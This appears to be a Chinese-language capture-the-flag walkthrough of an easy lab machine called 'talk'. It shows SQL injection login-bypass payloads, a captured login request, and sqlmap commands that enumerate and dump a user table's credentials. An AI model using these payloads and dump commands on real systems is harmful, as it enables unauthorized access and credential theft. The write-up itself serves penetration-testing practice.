talk靶机—难度easy知识点-SQL注入 #
Nmap扫描发现端口开放 #
访问是一个聊天界面登录可以聊天
这里并不能突破
突破点在外面的登录框做了这么久不要忘记SQL注入了
这里附上PAYLOAD
jerry' or 1=1 --
jerry' or 1=1 #
# 是最可靠的特殊情况注释方案
-- (带空格) 是最安全、兼容性最好的标准注释方式
--+ 依赖 Web 服务器的 URI 解码特性
这里密码不用输入了因为sql注入修改了SQL语句
WHERE username = 'admin' -- 注释了后面的密码' AND password = '任何密码'
POST /login.php HTTP/1.1
Host: 172.20.10.3
Origin: http://172.20.10.3
Referer: http://172.20.10.3/index.php?registered
Cookie: PHPSESSID=0l25og4fd06guunjegg65raeb0
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Content-Length: 44
username=jerry*&password=1
python sqlmap.py -r 123.txt --risk 3 --level 3 --batch
python sqlmap.py -r 123.txt --risk 3 --level 3 --current-db
python sqlmap.py -r 123.txt --risk 3 --level 3 --current-db --batch
python sqlmap.py -r 123.txt --risk 3 --level 3 --tables -D "chat" --batch
python sqlmap.py -r 123.txt --risk 3 --level 3 --columns -T "user" -D "demo01" --batch
python sqlmap.py -r 123.txt --risk 3 --level 3 --columns -T "user" -D "chat" --batch
python sqlmap.py -r 123.txt --risk 3 --level 3 --dump -C "username,password,userid" -T "user" -D "chat"
获取密码我们跑就行
拿到shell权限 #
拿root #
也可以拿公钥
总结一下 #
1:别忘了SQL注入